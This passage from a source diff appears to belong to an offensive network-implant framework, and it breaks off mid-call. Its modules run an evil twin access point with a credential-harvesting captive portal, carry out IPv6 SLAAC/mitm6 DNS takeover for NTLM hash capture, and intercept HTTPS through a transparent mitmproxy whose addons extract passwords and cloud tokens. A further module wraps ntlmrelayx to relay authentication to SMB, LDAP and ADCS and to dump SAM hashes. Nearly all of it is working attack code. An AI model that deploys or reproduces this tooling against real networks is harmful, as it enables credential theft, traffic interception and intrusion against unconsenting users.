with open(dnsmasq_conf_path, "w") as f:
f.write(dnsmasq_conf)
if not self._start_dnsmasq(dnsmasq_conf_path):
self._stop_hostapd()
self._teardown_interface()
return False
# Configure iptables for captive portal redirect
self._setup_iptables()
# Start captive portal HTTP server
self._start_portal(portal_template)
self._ap_active = True
self.state.set(self.name, "ssid", ssid)
self.state.set(self.name, "channel", str(channel))
logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
ssid, channel, portal_template)
return True
def stop_ap(self) -> bool:
"""Stop the evil twin AP and clean up.
Returns:
True if AP was stopped successfully.
"""
logger.info("Stopping Evil Twin AP...")
# Stop portal server
self._stop_portal()
# Remove iptables rules
self._teardown_iptables()
# Stop dnsmasq
self._stop_dnsmasq()
# Stop hostapd
self._stop_hostapd()
# Restore interface
self._teardown_interface()
self._ap_active = False
self._ssid = None
self.state.set(self.name, "ssid", "")
logger.info("Evil Twin AP stopped")
return True
def get_clients(self) -> list:
"""Return list of currently connected clients.
Returns:
List of dicts with client MAC and IP.
"""
# Parse dnsmasq lease file for connected clients
lease_file = "/tmp/bb-dnsmasq.leases"
clients = []
if os.path.isfile(lease_file):
try:
with open(lease_file, "r") as f:
for line in f:
parts = line.strip().split()
if len(parts) >= 4:
clients.append({
"mac": parts[1],
"ip": parts[2],
"hostname": parts[3] if parts[3] != "*" else "",
})
except Exception:
pass
with self._clients_lock:
self._clients = clients
return clients
# ------------------------------------------------------------------
# hostapd management
# ------------------------------------------------------------------
def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
"""Generate hostapd config for open AP."""
return (
f"interface={self._wifi_iface}\n"
f"driver=nl80211\n"
f"ssid={ssid}\n"
f"hw_mode=g\n"
f"channel={channel}\n"
f"wmm_enabled=0\n"
f"macaddr_acl=0\n"
f"auth_algs=1\n"
f"ignore_broadcast_ssid=0\n"
f"wpa=0\n"
)
def _start_hostapd(self, conf_path: str) -> bool:
try:
self._hostapd_proc = subprocess.Popen(
["hostapd", conf_path],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(2) # Wait for hostapd to initialize
if self._hostapd_proc.poll() is not None:
stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
logger.error("hostapd failed to start: %s", stderr)
return False
logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
return True
except FileNotFoundError:
logger.error("hostapd not found — install with: apt install hostapd")
return False
except Exception as e:
logger.error("Failed to start hostapd: %s", e)
return False
def _stop_hostapd(self) -> None:
if self._hostapd_proc and self._hostapd_proc.poll() is None:
self._hostapd_proc.terminate()
try:
self._hostapd_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._hostapd_proc.kill()
self._hostapd_proc = None
# ------------------------------------------------------------------
# dnsmasq management
# ------------------------------------------------------------------
def _start_dnsmasq(self, conf_path: str) -> bool:
try:
self._dnsmasq_proc = subprocess.Popen(
[
"dnsmasq", "-C", conf_path,
"--no-daemon",
"--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(1)
if self._dnsmasq_proc.poll() is not None:
stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
logger.error("dnsmasq failed to start: %s", stderr)
return False
logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
return True
except FileNotFoundError:
logger.error("dnsmasq not found — install with: apt install dnsmasq")
return False
except Exception as e:
logger.error("Failed to start dnsmasq: %s", e)
return False
def _stop_dnsmasq(self) -> None:
if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
self._dnsmasq_proc.terminate()
try:
self._dnsmasq_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._dnsmasq_proc.kill()
self._dnsmasq_proc = None
# ------------------------------------------------------------------
# Interface management
# ------------------------------------------------------------------
def _setup_interface(self) -> bool:
"""Configure wireless interface for AP mode."""
try:
# Kill interfering processes
subprocess.run(
["airmon-ng", "check", "kill"],
capture_output=True, timeout=10,
)
# Set interface up with IP
subprocess.run(
["ip", "addr", "flush", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
subprocess.run(
["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
subprocess.run(
["ip", "link", "set", self._wifi_iface, "up"],
capture_output=True, timeout=5,
)
return True
except Exception:
logger.exception("Failed to configure wireless interface")
return False
def _teardown_interface(self) -> None:
"""Restore wireless interface to managed mode."""
try:
subprocess.run(
["ip", "addr", "flush", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
except Exception:
pass
# ------------------------------------------------------------------
# iptables for captive portal
# ------------------------------------------------------------------
def _setup_iptables(self) -> None:
"""Set up iptables to redirect HTTP traffic to the captive portal."""
rules = [
# Enable NAT
["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
"-j", "MASQUERADE"],
# Redirect HTTP to portal
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
# Redirect HTTPS to portal (for captive portal detection)
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
# Enable IP forwarding
try:
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
f.write("1")
except Exception:
pass
def _teardown_iptables(self) -> None:
"""Remove captive portal iptables rules."""
rules = [
["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
"-j", "MASQUERADE"],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
pass
# ------------------------------------------------------------------
# Captive portal HTTP server
# ------------------------------------------------------------------
def _start_portal(self, template_name: str) -> None:
"""Start the captive portal HTTP server."""
portal_path = os.path.join(self._template_dir, template_name)
if os.path.isfile(portal_path):
with open(portal_path, "r") as f:
CaptivePortalHandler.portal_html = f.read()
else:
logger.warning("Portal template not found: %s — using default", portal_path)
CaptivePortalHandler.portal_html = (
"<html><body><h1>Welcome</h1>"
"<form method='POST'>"
"<input name='username' placeholder='Username'><br>"
"<input name='password' type='password' placeholder='Password'><br>"
"<button type='submit'>Sign In</button>"
"</form></body></html>"
)
CaptivePortalHandler.credential_callback = self._on_credential_captured
self._portal_server = socketserver.TCPServer(
("0.0.0.0", self._portal_port), CaptivePortalHandler
)
self._portal_server.allow_reuse_address = True
self._portal_thread = threading.Thread(
target=self._portal_server.serve_forever,
daemon=True,
name="sensor-captive-portal",
)
self._portal_thread.start()
logger.info("Captive portal serving on port %d", self._portal_port)
def _stop_portal(self) -> None:
if self._portal_server:
self._portal_server.shutdown()
self._portal_server = None
def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
"""Handle credential submission from captive portal."""
with self._creds_lock:
self._captured_creds.append({
"timestamp": time.time(),
"client_ip": client_ip,
"post_data": post_data,
})
# Parse form data for username/password
from urllib.parse import parse_qs
params = parse_qs(post_data)
username = params.get("username", params.get("email", [""]))[0] if params else ""
password = params.get("password", params.get("pass", [""]))[0] if params else ""
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"source_ip": client_ip,
"target_service": f"captive_portal:{self._ssid}",
"username": username,
"credential_type": "cleartext",
"credential_value": password,
"raw_data": post_data,
},
source_module=self.name,
)
logger.info("Captive portal credential captured from %s", client_ip)
+258
View File
@@ -0,0 +1,258 @@
#!/usr/bin/env python3
"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6.
Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server.
Combines two approaches:
1. bettercap dhcp6.spoof: Router Advertisement injection
2. mitm6: Targeted WPAD/DNS takeover via IPv6
This is significantly stealthier than ARP spoofing — most networks
have IPv6 enabled but unmonitored, and DAI does not cover IPv6.
"""
import logging
import os
import subprocess
import threading
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class IPv6SLAAC(BaseModule):
"""IPv6 SLAAC spoofing via bettercap + mitm6.
Dependencies:
- bettercap_mgr must be running (for dhcp6.spoof)
- mitm6 must be installed (pip install mitm6)
Configuration:
target_domain: Domain to target with mitm6 WPAD abuse
mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6)
interface: Network interface (default: eth0)
"""
name = "ipv6_slaac"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._mitm6_proc: Optional[subprocess.Popen] = None
self._mitm6_thread: Optional[threading.Thread] = None
self._slaac_active = False
self._mitm6_active = False
self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6")
self._iface = config.get("interface", "eth0")
self._target_domain: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("IPv6SLAAC requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)")
def stop(self) -> None:
if not self._running:
return
self.stop_all()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("IPv6SLAAC module stopped")
def status(self) -> dict:
mitm6_alive = (
self._mitm6_proc is not None and self._mitm6_proc.poll() is None
)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"slaac_active": self._slaac_active,
"mitm6_active": self._mitm6_active and mitm6_alive,
"target_domain": self._target_domain,
"interface": self._iface,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
if "mitm6_binary" in config:
self._mitm6_binary = config["mitm6_binary"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_slaac(self) -> bool:
"""Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof.
Injects Router Advertisements to become the IPv6 DNS server
for all hosts on the segment.
Returns:
True if SLAAC spoofing was enabled.
"""
if not self._running or not self._bettercap_mgr:
logger.error("IPv6SLAAC not started")
return False
try:
self._bettercap_mgr.run_command("dhcp6.spoof on")
self._slaac_active = True
self.state.set(self.name, "slaac_active", "true")
logger.info("IPv6 SLAAC spoofing enabled via bettercap")
return True
except Exception:
logger.exception("Failed to enable SLAAC spoofing")
return False
def start_mitm6(self, domain: str = None) -> bool:
"""Start mitm6 for WPAD abuse and DNS takeover via IPv6.
mitm6 sends RA messages advertising itself as the IPv6 DNS
server, then responds to WPAD requests to redirect proxy
configuration. Effective for NTLM hash capture when combined
with ntlmrelayx.
Args:
domain: Target domain for WPAD abuse (e.g., "corp.local").
Returns:
True if mitm6 was started.
"""
if not self._running:
logger.error("IPv6SLAAC not started")
return False
if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None:
logger.warning("mitm6 already running")
return True
self._target_domain = domain or self.config.get("target_domain", "")
cmd = [self._mitm6_binary, "-i", self._iface]
if self._target_domain:
cmd.extend(["-d", self._target_domain])
try:
self._mitm6_proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(2)
if self._mitm6_proc.poll() is not None:
stderr = self._mitm6_proc.stderr.read().decode(errors="replace")
logger.error("mitm6 failed to start: %s", stderr)
return False
self._mitm6_active = True
# Start output monitoring thread
self._mitm6_thread = threading.Thread(
target=self._monitor_mitm6, daemon=True, name="sensor-mitm6-monitor"
)
self._mitm6_thread.start()
self.state.set(self.name, "mitm6_active", "true")
logger.info(
"mitm6 started (pid=%d, domain=%s)",
self._mitm6_proc.pid, self._target_domain or "all",
)
return True
except FileNotFoundError:
logger.error("mitm6 not found at %s", self._mitm6_binary)
return False
except Exception:
logger.exception("Failed to start mitm6")
return False
def stop_all(self) -> bool:
"""Stop all IPv6 SLAAC and mitm6 operations.
Returns:
True if all components were stopped.
"""
success = True
# Stop SLAAC spoofing
if self._slaac_active and self._bettercap_mgr:
try:
self._bettercap_mgr.run_command("dhcp6.spoof off")
self._slaac_active = False
self.state.set(self.name, "slaac_active", "false")
logger.info("SLAAC spoofing disabled")
except Exception:
logger.exception("Failed to disable SLAAC spoofing")
success = False
# Stop mitm6
if self._mitm6_proc and self._mitm6_proc.poll() is None:
try:
self._mitm6_proc.terminate()
self._mitm6_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._mitm6_proc.kill()
try:
self._mitm6_proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop mitm6")
success = False
self._mitm6_proc = None
self._mitm6_active = False
self.state.set(self.name, "mitm6_active", "false")
return success
# ------------------------------------------------------------------
# mitm6 output monitoring
# ------------------------------------------------------------------
def _monitor_mitm6(self) -> None:
"""Monitor mitm6 stderr for authentication events."""
if not self._mitm6_proc:
return
try:
for line in iter(self._mitm6_proc.stderr.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").strip()
if not decoded:
continue
# mitm6 logs DNS queries and WPAD requests
if "Sent spoofed" in decoded or "IPv6 address" in decoded:
logger.debug("mitm6: %s", decoded)
# Check for process exit
if self._mitm6_proc.poll() is not None:
break
except Exception:
pass
+352
View File
@@ -0,0 +1,352 @@
#!/usr/bin/env python3
"""mitmproxy Manager — transparent HTTPS interception with addon scripts.
Runs mitmproxy in transparent mode with iptables redirect. Custom addon
scripts extract credentials from POST bodies, capture cloud tokens from
auth headers, and log file metadata from transfers.
OPi Zero 3+ only — requires sufficient RAM (100-200MB) and CPU (10-20%).
Check hardware tier before enabling.
Custom CA CN can be configured to match target PKI for stealth.
"""
import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
class MitmproxyManager(BaseModule):
"""mitmproxy transparent proxy with credential and token extraction.
OPi Zero 3+ only — check tier before enabling. On lower-tier
hardware, use bettercap's built-in HTTP proxy instead.
Dependencies:
- mitmproxy installed (pip install mitmproxy)
- iptables for transparent redirect
Configuration:
proxy_port: Listening port (default: 8080)
addons_dir: Path to addon scripts
ca_cn: Custom CA Common Name to match target PKI
hardware_tier: Device tier for resource checks
"""
name = "mitmproxy_mgr"
module_type = "active"
priority = 200
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._monitor_thread: Optional[threading.Thread] = None
self._proxy_port = config.get("proxy_port", 8080)
self._proxy_active = False
self._iface = config.get("interface", "eth0")
self._ca_cn = config.get("ca_cn", "")
self._hardware_tier = config.get("hardware_tier", "rpi4")
self._addons_dir = config.get(
"addons_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "config", "mitmproxy_addons"),
)
self._mitmdump_binary = config.get("mitmdump_binary", "mitmdump")
self._flow_log = config.get(
"flow_log",
os.path.join(os.path.expanduser("~"), ".implant", "mitmproxy_flows"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Tier check
if self._hardware_tier not in SUPPORTED_TIERS:
logger.error(
"mitmproxy not supported on tier '%s' — requires OPi Zero 3+ or better",
self._hardware_tier,
)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
Path(self._flow_log).parent.mkdir(parents=True, exist_ok=True)
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("MitmproxyManager started (tier=%s, port=%d)",
self._hardware_tier, self._proxy_port)
def stop(self) -> None:
if not self._running:
return
if self._proxy_active:
self.stop_proxy()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("MitmproxyManager stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"proxy_active": self._proxy_active and proc_alive,
"proxy_pid": self._proc.pid if proc_alive else None,
"proxy_port": self._proxy_port,
"hardware_tier": self._hardware_tier,
"ca_cn": self._ca_cn,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "proxy_port" in config:
self._proxy_port = config["proxy_port"]
if "ca_cn" in config:
self._ca_cn = config["ca_cn"]
if "hardware_tier" in config:
self._hardware_tier = config["hardware_tier"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_proxy(self, port: int = None, addons: list = None) -> bool:
"""Start mitmproxy in transparent mode with addons.
Args:
port: Override proxy port.
addons: List of addon script filenames to load from addons_dir.
Returns:
True if proxy was started.
"""
if not self._running:
logger.error("MitmproxyManager not started")
return False
if self._proxy_active and self._proc and self._proc.poll() is None:
logger.warning("mitmproxy already running")
return True
if port:
self._proxy_port = port
# Build command
cmd = [
self._mitmdump_binary,
"--mode", "transparent",
"--listen-port", str(self._proxy_port),
"--set", "connection_strategy=lazy",
"--set", "stream_large_bodies=1m",
"-w", self._flow_log,
]
# Custom CA CN for stealth
if self._ca_cn:
cmd.extend(["--set", f"ssl_insecure=true"])
# Load addon scripts
addon_scripts = addons or self._get_default_addons()
for addon in addon_scripts:
addon_path = os.path.join(self._addons_dir, addon)
if os.path.isfile(addon_path):
cmd.extend(["-s", addon_path])
else:
logger.warning("Addon script not found: %s", addon_path)
# Setup iptables for transparent redirect
self._setup_iptables()
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(3)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("mitmproxy failed to start: %s", stderr)
self._teardown_iptables()
return False
self._proxy_active = True
# Start output monitoring
self._monitor_thread = threading.Thread(
target=self._monitor_output, daemon=True, name="sensor-mitmproxy-monitor"
)
self._monitor_thread.start()
logger.info("mitmproxy started (pid=%d, port=%d)", self._proc.pid, self._proxy_port)
return True
except FileNotFoundError:
logger.error("mitmdump not found — install with: pip install mitmproxy")
self._teardown_iptables()
return False
except Exception:
logger.exception("Failed to start mitmproxy")
self._teardown_iptables()
return False
def stop_proxy(self) -> bool:
"""Stop mitmproxy and remove iptables rules.
Returns:
True if proxy was stopped.
"""
# Stop process
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop mitmproxy")
finally:
self._proc = None
# Remove iptables rules
self._teardown_iptables()
self._proxy_active = False
logger.info("mitmproxy stopped")
return True
def get_flows(self) -> str:
"""Return path to the mitmproxy flow log file.
Returns:
Path to the binary flow dump file.
"""
return self._flow_log
# ------------------------------------------------------------------
# iptables for transparent mode
# ------------------------------------------------------------------
def _setup_iptables(self) -> None:
"""Configure iptables to redirect HTTP/HTTPS to mitmproxy."""
rules = [
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
def _teardown_iptables(self) -> None:
"""Remove transparent proxy iptables rules."""
rules = [
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
pass
# ------------------------------------------------------------------
# Addon management
# ------------------------------------------------------------------
def _get_default_addons(self) -> list:
"""Return list of default addon script filenames."""
defaults = [
"credential_extractor.py",
"cloud_token_capture.py",
"file_metadata_logger.py",
]
return [a for a in defaults if os.path.isfile(os.path.join(self._addons_dir, a))]
# ------------------------------------------------------------------
# Output monitoring
# ------------------------------------------------------------------
def _monitor_output(self) -> None:
"""Monitor mitmproxy stderr for credential and token events."""
if not self._proc:
return
try:
for line in iter(self._proc.stderr.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").strip()
if not decoded:
continue
# Look for credential extraction events from addons
if "[credential]" in decoded.lower():
self._handle_credential_output(decoded)
elif "[cloud_token]" in decoded.lower():
self._handle_token_output(decoded)
if self._proc.poll() is not None:
break
except Exception:
pass
def _handle_credential_output(self, line: str) -> None:
"""Parse credential event from addon output."""
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"target_service": "mitmproxy",
"credential_type": "cleartext",
"credential_value": line,
},
source_module=self.name,
)
def _handle_token_output(self, line: str) -> None:
"""Parse cloud token event from addon output."""
self.bus.emit(
"CLOUD_TOKEN_FOUND",
{
"source_module": self.name,
"target_service": "mitmproxy",
"token_data": line,
},
source_module=self.name,
)
+377
View File
@@ -0,0 +1,377 @@
#!/usr/bin/env python3
"""NTLM Relay module — ntlmrelayx subprocess wrapper.
Manages Impacket's ntlmrelayx for relaying captured NTLM authentication
to target services. Supports relay to SMB, LDAP, LDAPS, HTTP, MSSQL,
and ADCS endpoints. Coordinates with ResponderManager to exclude relay
targets from Responder's SMB authentication.
Resources: ~40MB RAM, ~5% CPU
"""
import logging
import os
import re
import subprocess
import threading
import time
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Supported relay protocols
RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
class NTLMRelay(BaseModule):
"""ntlmrelayx subprocess manager.
Relays captured NTLM authentication to target services. Works
in coordination with ResponderManager — targets being relayed
should be excluded from Responder's SMB server to avoid consuming
the authentication attempt locally.
Dependencies:
- Impacket installed (/opt/tools/impacket or pip install impacket)
- responder_mgr (optional, for coordination)
Configuration:
ntlmrelayx_binary: Path to ntlmrelayx.py
targets: List of relay target URLs (e.g., smb://192.168.1.10)
protocols: Set of relay protocols to use
adcs_template: ADCS certificate template for ESC attacks
"""
name = "ntlm_relay"
module_type = "active"
priority = 150
requires_root = True
OUTPUT_POLL_INTERVAL = 5
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._output_thread: Optional[threading.Thread] = None
self._ntlmrelayx_binary = config.get(
"ntlmrelayx_binary", "/opt/tools/impacket/examples/ntlmrelayx.py"
)
self._iface = config.get("interface", "eth0")
self._targets: list = []
self._protocols: set = set()
self._adcs_template: Optional[str] = None
self._relay_active = False
self._successful_relays: list = []
self._relays_lock = threading.Lock()
self._responder_mgr = None
self._target_file = os.path.join(
os.path.expanduser("~"), ".implant", "relay_targets.txt"
)
self._loot_dir = os.path.join(
os.path.expanduser("~"), ".implant", "ntlmrelay_loot"
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Optional responder_mgr for coordination
self._responder_mgr = self.config.get("responder_mgr")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
os.makedirs(os.path.dirname(self._target_file), exist_ok=True)
os.makedirs(self._loot_dir, exist_ok=True)
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("NTLMRelay module started (ready for relay commands)")
def stop(self) -> None:
if not self._running:
return
if self._relay_active:
self.stop_relay()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("NTLMRelay module stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"relay_active": self._relay_active and proc_alive,
"relay_pid": self._proc.pid if proc_alive else None,
"targets": self._targets,
"protocols": list(self._protocols),
"adcs_template": self._adcs_template,
"successful_relays": len(self._successful_relays),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "ntlmrelayx_binary" in config:
self._ntlmrelayx_binary = config["ntlmrelayx_binary"]
if "adcs_template" in config:
self._adcs_template = config["adcs_template"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_relay(self, targets: list, protocols: set = None) -> bool:
"""Start ntlmrelayx with specified targets and protocols.
Args:
targets: List of relay target URLs.
Format: "protocol://ip" (e.g., "smb://192.168.1.10")
Or plain IPs for default SMB relay.
protocols: Set of protocols to relay to. If None, inferred from targets.
Returns:
True if ntlmrelayx was started.
"""
if not self._running:
logger.error("NTLMRelay not started")
return False
if self._relay_active and self._proc and self._proc.poll() is None:
logger.warning("ntlmrelayx already running")
return True
self._targets = list(targets)
self._protocols = protocols or self._infer_protocols(targets)
# Write target file
self._write_target_file()
# Coordinate with Responder — exclude relay target IPs from SMB auth
self._update_responder_exclusions()
# Build command
cmd = self._build_command()
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=self._loot_dir,
)
time.sleep(2)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("ntlmrelayx failed to start: %s", stderr)
return False
self._relay_active = True
# Start output monitoring
self._output_thread = threading.Thread(
target=self._monitor_output, daemon=True, name="sensor-ntlmrelay-monitor"
)
self._output_thread.start()
logger.info(
"ntlmrelayx started (pid=%d, targets=%d, protocols=%s)",
self._proc.pid, len(self._targets), self._protocols,
)
return True
except FileNotFoundError:
logger.error("ntlmrelayx.py not found at %s", self._ntlmrelayx_binary)
return False
except Exception:
logger.exception("Failed to start ntlmrelayx")
return False
def stop_relay(self) -> bool:
"""Stop ntlmrelayx.
Returns:
True if relay was stopped.
"""
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop ntlmrelayx")
return False
finally:
self._proc = None
self._relay_active = False
logger.info("ntlmrelayx stopped")
return True
def add_target(self, target: str) -> bool:
"""Add a relay target while ntlmrelayx is running.
Args:
target: Target URL (e.g., "smb://192.168.1.50").
Returns:
True if target was added (requires restart to take effect).
"""
if target not in self._targets:
self._targets.append(target)
self._write_target_file()
self._update_responder_exclusions()
logger.info("Added relay target: %s (restart relay to apply)", target)
return True
return False
# ------------------------------------------------------------------
# Internal helpers
# ------------------------------------------------------------------
def _build_command(self) -> list:
"""Build the ntlmrelayx command line."""
cmd = [
"python3", self._ntlmrelayx_binary,
"-tf", self._target_file,
"-of", os.path.join(self._loot_dir, "hashes"),
"-smb2support",
]
# ADCS relay
if self._adcs_template and "adcs" in self._protocols:
cmd.extend(["--adcs", "--template", self._adcs_template])
# LDAP relay options
if "ldap" in self._protocols or "ldaps" in self._protocols:
cmd.append("--delegate-access")
# SOCKS proxy for interactive sessions
cmd.append("-socks")
return cmd
def _write_target_file(self) -> None:
"""Write relay targets to file for ntlmrelayx -tf."""
try:
with open(self._target_file, "w") as f:
for target in self._targets:
f.write(f"{target}\n")
except Exception:
logger.exception("Failed to write target file")
def _infer_protocols(self, targets: list) -> set:
"""Infer relay protocols from target URLs."""
protocols = set()
for target in targets:
if "://" in target:
proto = target.split("://")[0].lower()
if proto in RELAY_PROTOCOLS:
protocols.add(proto)
else:
protocols.add("smb") # Default to SMB
return protocols or {"smb"}
def _update_responder_exclusions(self) -> None:
"""Update ResponderManager with IPs to exclude from SMB auth."""
if not self._responder_mgr:
return
# Extract IPs from target URLs
ips = set()
for target in self._targets:
if "://" in target:
ip_part = target.split("://")[1].split(":")[0].split("/")[0]
else:
ip_part = target.split(":")[0].split("/")[0]
ips.add(ip_part)
try:
self._responder_mgr.set_relay_targets(ips)
logger.info("Updated Responder relay exclusions: %s", ips)
except Exception:
logger.exception("Failed to update Responder exclusions")
# ------------------------------------------------------------------
# Output monitoring
# ------------------------------------------------------------------
def _monitor_output(self) -> None:
"""Monitor ntlmrelayx output for successful relays and loot."""
if not self._proc:
return
try:
for line in iter(self._proc.stdout.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").strip()
if not decoded:
continue
self._parse_relay_output(decoded)
if self._proc.poll() is not None:
break
except Exception:
pass
def _parse_relay_output(self, line: str) -> None:
"""Parse ntlmrelayx output for successful relay events."""
# Successful SMB relay
if "authenticated successfully" in line.lower():
relay_info = {
"timestamp": time.time(),
"type": "auth_success",
"detail": line,
}
with self._relays_lock:
self._successful_relays.append(relay_info)
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"target_service": "ntlm_relay",
"credential_type": "relay_success",
"credential_value": line,
},
source_module=self.name,
)
logger.info("Successful NTLM relay: %s", line)
# Secretsdump from relay
elif "dumping" in line.lower() and "sam" in line.lower():
logger.info("ntlmrelayx SAM dump: %s", line)
# ADCS certificate obtained
elif "certificate" in line.lower() and ("saved" in line.lower() or "base64" in line.lower()):
self.bus.emit(
"CREDENTIAL_FOUND",
